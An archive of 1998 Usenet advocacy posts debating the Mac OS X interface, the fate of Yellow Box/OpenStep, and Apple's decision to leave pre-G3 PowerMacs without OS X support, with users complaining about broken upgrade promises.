References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which "purple barney UI" are you referring to?
There's absolutely no value in getting into this. Nothing personal to you
Joe, but this UI topic has been smashed out to death at this point for me.
The direction is clear to me, though I hope I'm wrong, I, unfortunatly, doubt
I am on this topic.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 02:48:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oegt8$672$1@lwnws01.ne.highway1.com>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <rmcassid-1307981726050001@dante.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
> Like windows, which appeals to the 'more is better' crowd generally
> lacking any measure of taste whatsoever? Fact of the matter is
> that most consumers wouldn't choose style if it was free and
> Apple needs to deliver what people recognize. Loud, garish,
> possibly with beer advertisements would appeal strongly to the
> Wintel crowd that I'm familiar with.
You're problably right.
> Just so long as they keep platinum in there.
And you're making fun of windows users. Jeez, I only wish you were joking,
but I guess you're serious. To each their own and all that.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 14 Jul 1998 02:53:22 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oeh72$672$2@lwnws01.ne.highway1.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com> <6odhc8$aue@nntp02.primenet.com> <6odulr$lh3$6@lwnws01.ne.highway1.com> <6oe2lc$8cs@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> I'm not sure how to respond to this. I didn't think I was talking down to
> Openstep programmers in general, and certainly not the paragons you
> chronicle. Nonetheless, there does seem to be a lesson to be drawn (or
> several) from the *Step story. Indeed, you've written a couple dark
> paragraphs on why GNUStep failed. I wonder what reasons you would offer
> for KDEs success ...
I'm pretty unfamiliar with KDE so I couldn't say. I'm guessing that there
were more people that had some familiarity with the tools and concepts
involving KDE, though I may well be wrong about that. *STEP required a
different thinking model that few bothered to actually commit to and get. Of
those that did, many wonderful things sprang from an incredibly small number
of folks. I could only imagine the wonders of *STEP (AKA Yellow Box
technologies) hitting a critical mass; it's awe inspiring just to think of
it.
I guess the bottom line is a high barrier to entry (on many levels) prevented
the success of *STEP. Does this sound frighteningly familiar? Sadly it does
to me.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base
of only 750,000 G3 systems?)
From: "Gary Curtis" <gcurtis@abs.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
nntp://news.abs.net/comp.sys.next.advocacy,
nntp://news.abs.net/comp.sys.mac.advocacy
References: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
MIME-Version: 1.0
Message-ID: <B1D0421E-D3B03@207.114.1.115>
Content-Type: multipart/mixed; boundary="Cyberdog-MixedBoundary-000D3A47"
Content-Transfer-Encoding: 7bit
Date: Tue, 14 Jul 1998 02:59:25 GMT
NNTP-Posting-Date: Mon, 13 Jul 1998 22:59:25 EDT
--Cyberdog-MixedBoundary-000D3A47
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<SMALLER>Hi,
You really hit the nail on the head for me. I bought a PB3400 in
December based
in large part on the promises that Rhapsody would run on all PPC PCI
machine
sold as of '97.
Now what do we here? Despite the fact the Rhapsody DR2 (to become
MacOS X)
runs on this system today, Apple are not going to support it with
MacOS X. Man,
do I feel like an idiot.......Thanks Apple!
Gary.
--
On Mon, Jul 13, 1998 6:12 PM, </SMALLER>
--Cyberdog-MixedBoundary-000D3A47
Content-Type: application/X-url
Content-Transfer-Encoding: base64
Content-Description: taiQ
bWFpbHRvOnBpdEBpb2hrLlNQQU0tTk9ULmNvbQ==
--Cyberdog-MixedBoundary-000D3A47
X-Fontfamily: Geneva
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Content-Type: text/enriched; charset=ISO-8859-1
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<SMALLER> wrote:
</SMALLER><X-FONTSIZE><PARAM>12</PARAM>>
> I bought my 20th Anniversary Mac (TAM) after all the signals from
> Apple leadership indicated that this model, along with "all (other)
> models shipping in or after Jan '97" would be Rhapsody-compatible;
> "Rhapsody" being the long-awaited modern OS with PMT, memory
> protection etc. that takes full use of the hardware. Being new to
Macs
> ('97 entry) and listening to Apple (e.g. Boston Macworld '97) that
> "Yellow Box" would be the future for Mac software I decided to go
slow
> (not) blowing millions into Mac software until native YB versions
> would be available upon and after Rhapsody's (Preview and Unified)
> release - i.e. multi-tasking and crash-resistant apps.
>
> Suddenly a couple of months ago altogether different statements made
> by Apple's leadership began to appear, indicating that the '97
> hardware designs wouldn't, after all, be compatible with the
upcoming
> modern OS Rhapsody (now renamed Mac OS X). Huh? Having run
> NeXT/Rhapsody's distant cousin OS/2 for years on 486 to K6 systems
I'm
> pretty certain that a 250MHz 603e PowerPC could offer very
comfortable
> user experience running a modern OS. So, last year Apple was selling
> these systems as future-proofed but suddenly the only upgrade option
> remaining is just the old Mac OS 8.x line, which, despite being an
> improvement, is nowhere near the modern OS that the Rhapsody upgrade
> was touted to be for these machines.
>
> I would like to fully move to (modern) Apple platform and was
looking
> forward to getting more new Apple hardware but I feel ashamedly
> shafted by this new "nothing-pre-G3 supported" corporate line. Is
this
> some kind of inevitable initiation to the fold of Apple faithful or
> what? Some websites and columnists have quickly taken the approach
> that dropping (Rhapsody / Mac OS X) support for "older" Macs is
> understandable and even a Good Thing (tm) if it allows Apple to sell
> more G3's to the pre-'98 suckers (eh, owners), to make Mac OS X
> somehow run faster if pre-G3 machine support isn't on the
installation
> CD's, <<insert Yet Another Great Excuse here>, etc... Yeah right.
>
> Will the millions of second generation PCI Mac owners just take the
</X-FONTSIZE><SMALLER>> </SMALLER><X-FONTSIZE><PARAM>12</PARAM>new
"non-modern" future as business as usual and flock to buy the
> latest Apple boxes-du-jour in good hope that those might finally be
> blessed with the promised modern OS? Do these millions actually know
> what they will be missing without a really modern OS such as
Rhapsody
> / Mac OS X? To the best of my knowledge adding second gen PCI Mac
> support to Rhap/X isn't exactly a huge undertaking but the reason
> behind appears to be coerce users to buy new G3 boxes (forced
> upgrading a la Microsoft, except MS can only make your software
> obsolete).
>
> I would sincerely wish to get full and official explanation
regarding
> pre-G3 Powermacs' OS compatibility at Apple's soonest convenience.
The
> only things worse than getting shafted are either getting shafted
and
> left in the dark, or getting shafted twice.
>
>
> Best regards,
> --
> taiQ
>
</X-FONTSIZE><SMALLER>> </SMALLER><X-FONTSIZE><PARAM>12</PARAM> [this
space is intentionally blank]
</X-FONTSIZE><SMALLER>>
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--Cyberdog-MixedBoundary-000D3A47--
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Mon, 13 Jul 1998 20:04:44 -0700
Organization: Digital Universe Corporation
Message-ID: <35AACACB.4A68807A@alum.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 14 Jul 1998 03:04:37 GMT
Michelle L. Buck wrote:
> You would be a flaming idiot to program for Yellow now.
You are a flaming idoit for making a silly statement like that. You are
obviously neither a good developer, nor an experienced manager. Whether you are
an independent software vendor, or a programmer on a F-1000 staff, you are best
served from a design and implementation efficiency standpoint to take advantage
of the Yellow Box APIs when developing UI applications, the EOF API when
developing database applications, and the WebObjects API's when developing web
applications. There is no triad of tools available that can compete with
YB/EOF/WO either alone or together.
> I have been a NeXTstep and then Openstep developer since 1988 with version
> 0.8.
Why did you throw that line in there? To give yourself some authoritative
stance allowing you to better trash Yellow Box??
> My company and my Fortune 100 clients are abandoning YellowBox as fast as
> possible.
You've said this in at least 3 posts in the past 2 weeks. If you're abandoning
it "as fast as possible", then why do you keep lingering on the subject? Just
be gone with it and stop making embarrasing statements. By the way, all of the
Fortune 1000 clients I am exposed to are adopting YB, and EOF especially, as
fast as possible.
> It is sad, but Yellow is dead. Apple has privately told my
> Fortune 100 clients as much.
What clients might those be? Country Joe's Chicken Ranch?
> Apple actually recomended Windows NT and Developer Studio.
In general? Bullshit! Who at Apple recommended this, and in what context?
Eric
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 03:11:20 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oei8o$672$5@lwnws01.ne.highway1.com>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com>
"Ed Deans." <eadeans@san.rr.com> wrote:
> Pulsar wrote in message ...
> >From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate
> >them. they add no functionality while being bulbous and distracting.
> >I suppose some people will like them, but I don't.
>
>
> It is not their purpose to add functionality. They are part of
> the outlandish notion that one GUI cannot be all things to all
> people. When developed for Copland, they were part of the
It isn't outlandish, it's moronic to think that one functional set, that was
made about 15yrs ago, stagnant as pond scum, is somehow made better by
painting more garish crap atop that same old lame functionality.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 13 Jul 1998 16:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CFE27C-C238@206.165.43.144>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Pulsar <tokarek@uiuc.edu> said:
>The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
>_NOT_ involve speed (or a lack of it).
>
I made one such argument. It is based on e-mail that a former Apple
engineer sent to me about 8 months ago where he asserted that the kernel
used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
didn't mean for playback, so I assume that he meant for high-end,
professional video creation.
In other words, Rhapsody (and presumeably the first generation of MacOS X)
will not be able to handle video creation well. If this was the case, you
would expect Apple to abandon the highe-end video market, which is exactly
what they have done by abandoning the 6 PCI slot market.
Another issue having to do with speed is the MacOS 8.x Blue Box. The only
rumors that I've seen for Blue Box performance suggest that it is
unresponsive and choppy, video-wise. However, if one were to add a large L2
cache running at 1/2 the processor speed, it is conceivable that this
choppiness would disappear.
Hence the G3-only, 3-slot-only MacOS X systems that Apple has committed to
for at least the next year.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 13 Jul 1998 16:29:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CFE637-1A286@206.165.43.144>
References: <rmcassid-1307981232230001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Robert Cassidy <rmcassid@uci.edu> said:
>I'd say the likelihood of Mac OS X running on stock
>7600/8500/8600/9500/9600 systems is good.
But what of my brand new 7300/180? That's a 604e-based system also. I
bought it specifically to be able to run and program for Rhapsody just 2-3
months ago.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
####################################################################
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 17:06:55 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981706550001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <rmcassid-1307981227020001@dante.eng.uci.edu> <atlauren-1307981445490001@jungleland.acs.uci.edu>
In article <atlauren-1307981445490001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
>>BTW, from what I understand, Win98 _refuses_ to install on any machine
>>slower than a 75MHz Pentium. So theres a little change going on in each
>>camp.
>
>Actually, I believe it insists on a 66Mhz processor. A colleague here
>tried to install on a 486/33, and the installer refused to run.
>
>Pop quiz: How long before somebody cooks up a real-mode TSR that pretends
>to be a BIOS w/ 66Mhz processor, and fake out the installer in the
>process?
Whoops. Thanks for the correction.
Amazing how a few beers can preserve the spirit of information and totally
hose the detail.
-Bob Cassidy
Date: Mon, 13 Jul 1998 20:39:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1307982039510001@elk49.dol.net>
References: <rmcassid-1307981236210001@dante.eng.uci.edu> <B1CFE671-1B03D@206.165.43.144>
In article <B1CFE671-1B03D@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Robert Cassidy <rmcassid@uci.edu> said:
>
> >In article <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>,
> >mpaque@wco.com
> >(Mike Paquette) wrote:
> >
> >>That should be 'Director of OS Technology Product Marketing' at Apple.
> >>There's a difference...
> >
> >Ah, sounds like the engineers want to make sure we don't confuse a
> >marketing weenie with one of them. Probably a wise move... :-)
>
> Head of developer-relations is also head of Apple marketing.
>
> Definitely NOT a wise move, IMHO.
Why not?
What are the characteristics that make someone a good marketing person?
Energy
Willingness to listen to customers
Good communication skills
Enough technical skills to understand and explain the product
Add your own.
Aren't those the same things you'd want from the head of developer relations?
(note--I'm not prepared to discuss how well any person meets those
requirements--this comment is only in reply to Lawson's implication that a
good marketing person would not be good in developer relations).
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 19:54:30 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
In article <6oe0e0$u3k$1@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
Maliyekke) wrote:
> Pulsar (tokarek@uiuc.edu) wrote:
> : On 11 Jul 1998, Anil T Maliyekke wrote:
>
<snip>
> : Mac OS 8 sold over 2 million copies in its first couple of months.
>
> : There is nothing about Mac OS X that should be more resource intensive
> : than Rhapsody. In fact, it should be _less_ resource intensive! I think
> : you and Apple underestimate the demand for an "advanced" OS in the
> : Macintosh community. Even Mac OS 8 which was not such a significant
> : advance architecturally sold extremely well. If Mac OS X had more
> : hardware support would you care to guess how many copies it would sell?
>
> : There is no good reason for Apple to fragment the market so much. There is
> : absolutely no good excuse for Apple to alienate a large number of normally
> : loyal Mac users by dropping support for their machines unreasonably.
>
> I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
> I just wondering how many of the machines that were sold prior to
> debut of G3 machines will truly be fit to run Mac OS X without
> memory and or disk upgrades, and how many users/organizations would
> really want to upgrade machines that are more than two years old at the
> time of Mac OS X's debut.
I'm not sure of course, but I would guess that there are some 3 to 4
million of these PowerMacs being used today. I'm talking about the 604 and
604e based PowerMacs such as 7500s with PPC 604(e)/G3 upgrades, 7300s,
7600s, 8200s, 8500s, 8600s, 9500s, and 9600s. This ignores all the clones
that sold that have the same motherboards and processors.
Any of these machines would be capable of running both Rhapsody and Mac OS X.
> No doubt, users want a better OS, and
> no doubt some people would buy it, but the question is how many
> people will actually being willing to perform a major OS upgrade
> on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
> X is going to be a major event, and it isn't going to be a decision
> that many people are just going to jump into.
So long as there aren't any significant file system issues that would
require reformatting (and I don't think there should be), it won't be much
of a big deal. The transition from Mac OS 8 (or 7) to Mac OS X will be a
bigger deal than from 7 to 8, but it shouldn't be a prohibitive ordeal.
> The basic question
> for Apple is whether upgrade revenues from these older
> machines is going to equal the upfront investments they have to
> make to support the older machines.
Let's assume that Mac OS X will cost $100. Let's also assume that Apple
makes only $20 off of each copy of Mac OS X after accounting for
distribution, and promotion of the OS. I actually suspect it would be more
along the lines of $30 or $40 (maybe more), but for the sake of arguement
we'll stick with $20.
There are probably somewhere around 3 or 4 million pre-Gossamer PCI
PowerMacs. Let's assume that only half a million upgrade to Mac OS X.
That's 500,000 * $20 = $10,000,000
That means that Apple can spend up to 10 million dollars on getting Mac
OS X to run on these older PowerMacs and still _at least_ break even.
Let's try to examine the costs for getting Mac OS X to run on these
machines.
Assume that a software engineer works for 40 hours a week at $100 per
hour.
Assume 4 people work for 2 weeks working on getting Mac OS X to run on
these machines.
That's 2 * 4 * 40 * 100 = $32,000.
Now assume that 8 people work for 4 weeks on quality assurance, testing,
and debugging.
That's 8 * 4 * 40 * 100 = $128,000.
This is a total of $160,000.
Let's assume that the figure is off by a factor of 50!
50 * $160,000 = $8,000,000.
So assuming that the real cost of getting Mac OS X to work on these
machines is 50 times more than I estimated, then Apple will _still_ make
a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
This does not include sales of Mac OS X to existing PowerMac G3 owners.
Quite apart from cost and potential short term profit, there is the fact
Apple makes a gesture of good will to owners of these machines by
continuing support. Mac users are amazing for their loyalty, but that
loyalty is neither unconditional nor increasing. Far from increasing, it is
decreasing. If Apple orphans these machines with Mac OS X, a lot of
customers already annoyed at Apple's behavior may very well stop supporting
it.
If Apple doesn't write Mac OS X to run on these machines (one of which I
own), I will very likely leave the platform. I definitely won't go to
Windows since I think things are worse on that side in a lot of ways, but I
will cease to support Apple. Many others will do the same. Apple has jerked
us around with too many broken promises for us to put up with much more.
Even if it doesn't end up being immediately profitable for Apple to support
Mac OS on these machines, it will be better for the platform and therefore
better for Apple in the long run if Apple supports as many machines as
possible.
> : Furthermore, the _reference_ system for Rhapsody is not supported in Mac
> : OS X. PowerMac G3 support had to be _added_ in. They were not originally
> : on the supported list.
>
> It's not an issue of speed. It's an issue of return on investment for
> Apple. Will the investment they make in support these machines bring
> them added revenues or will it just drag their bottom line down?
I don't think it will drag their bottom line, but that's irrelevant. Even
if it does since it will drag the bottom line down even further if there is
massive Mac user disloyalty. It will do Apple no good to fragment the
market like this. It will do Apple even worse to make Mac OS X run on a
very small subset of the Macintosh installed base.
> Will
> it delay time to market? Would you rather see Mac OS X ship in
> the middle of year 2000 with support for machines that date back
> four or five years, or Mac OS X ship late next year with support
> for machines that came out in the last two years?
Of course there is a trade off. I am not asking anything unreasonable of
Apple. It is not unreasonable to expect that machines that are selling
right now be supported in one year. This is particularly so when the
hardware architecture is not so radically different from what Apple will
already be supporting and when most of the work to get Mac OS X working on
these machines will have been done with Rhapsody.
Rhapsody already supports PowerMac 7[3,5,6]00s, 8[2,5,6]00s, and 9[5,6]00s.
Some of these machines were selling back in 1995. All of these Macs have
the same fundamental motherboard architecture. There are relatively minor
differences from series to series, but Rhapsody already works on these
machines.
Rhapsody does not support NuBus based PowerMacs and probably doesn't
support Catalyst based PowerMacs (I haven't heard whether it does or not).
> Apple doesn't
> have infinite resources to everything nor can it accomplish an infinite
> number of things in a finite amount of time. I would personally
> rather see the new OS ship as early as possible.
Yeah, but there is no particular evidence that the extra work (and it is
extra in a way) would set back Mac OS X significantly (if at all) or that
it would be any significant investment. The work to support these machines
will be done with Rhapsody and Mac OS X is based on Rhapsody.
> With the kernel upgrade and probably a restructuring of the various
> other low level details, they will probably be starting over in terms
> of hardware drivers. Does MkLinux (using the Mach 3 kernel) run
> on 603e's yet?
Yes. MkLinux does (with pre-DR3). If I'm not mistaken, MkLinux is not being
worked on full time, but is worked on in the developer's spare time. That
MkLinux could support such a wide array of machines while still advancing
the OS by people who are not devoting all their effort towards it
indicates that Mac OS X on some of the pre-G3 PCI PowerMacs is perfectly
possible.
I really doubt that Apple will be starting over. I'll readily agree that it
won't be effortless, but the idea that it will postpone Mac OS X
signficantly or that it would be too costly has no strong support as of
yet. If such evidence could be shown, then I wouldn't be so bothered. Apple
has said nothing except that a huge portion of its user base will not be
able to run its new and only OS without buying new machines. It seems to be
a misguided attempt to screw Mac owners and is being done for no other
reason than increasing profit at our unreasonable expense.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 20:18:46 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1307982018460001@pm3a3.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu>
In article <6oe0e0$u3k$1@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
Maliyekke) wrote:
> I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
> I just wondering how many of the machines that were sold prior to
> debut of G3 machines will truly be fit to run Mac OS X without
> memory and or disk upgrades, and how many users/organizations would
> really want to upgrade machines that are more than two years old at the
> time of Mac OS X's debut. No doubt, users want a better OS, and
> no doubt some people would buy it, but the question is how many
> people will actually being willing to perform a major OS upgrade
> on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
> X is going to be a major event, and it isn't going to be a decision
> that many people are just going to jump into. The basic question
> for Apple is whether upgrade revenues from these older
> machines is going to equal the upfront investments they have to
> make to support the older machines.
These "older machines" are 350MHz Power Mac 9600's for crying out loud.
These "older machines" have the capacity to handle 768MB of memory (which
is *dirt* cheap now days). These "older machines" can handle CD-ROMs of
32 X, and HD's in the GB range. These "older machines" can accept G3
upgrade processor cards running at 300MHz (currently the fastest
technology available).
You may feel that the system I am demonstrating here might be the
exception, and not the norm. But the fact remains the same, this
"exception" won't be able to run OS X.
A lot of these "older machines" can readily handle OS X (at least I would
hope, otherwise OS X would be a pig).
And finally, Apple led customers to believe that these "older machies"
would run Apple's next generation OS (at the time, Rhapsody which is dead
because Apple decided OS X was to be the next generation OS).
Pulsar is 100% correct...I don't see any really good reason why these
"older machines" cannot run OS X.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 20:24:58 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1307982024580001@pm3a3.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>
In article <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> You are forgetting that OS-8 will continue to be sold and supported in
> parallel with OS-X. Anyone who's Power Mac won't run OS-X can run OS-8.x, and
> OS-8.x will run carbon-tuned apps. It just won't have protected memory, and
> PMT. If those are the features one wants, one will have to buy a G3 or a G4
> machine to get them.
Let me ask you this George, how do you know OS 8.x will run carbon tuned apps?
Josh
Date: Mon, 13 Jul 1998 20:18:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Message-ID: <joe.ragosta-1307982018160001@elk49.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
In article <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> I bought my 20th Anniversary Mac (TAM) after all the signals from
> Apple leadership indicated that this model, along with "all (other)
> models shipping in or after Jan '97" would be Rhapsody-compatible;
> "Rhapsody" being the long-awaited modern OS with PMT, memory
> protection etc. that takes full use of the hardware. Being new to Macs
> ('97 entry) and listening to Apple (e.g. Boston Macworld '97) that
> "Yellow Box" would be the future for Mac software I decided to go slow
> (not) blowing millions into Mac software until native YB versions
> would be available upon and after Rhapsody's (Preview and Unified)
> release - i.e. multi-tasking and crash-resistant apps.
> [snip]
>
> I would sincerely wish to get full and official explanation regarding
> pre-G3 Powermacs' OS compatibility at Apple's soonest convenience. The
> only things worse than getting shafted are either getting shafted and
> left in the dark, or getting shafted twice.
Your concerns are legitimate. If it's important to you, write to Apple.
<leadership@apple.com> for starters, snail mail is even better.
There's also a petition on the 'net to sign on this matter. I think you
can find the link from www.maccentral.com.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Josh.McKee@cbns.com (Joshua T. McKee)
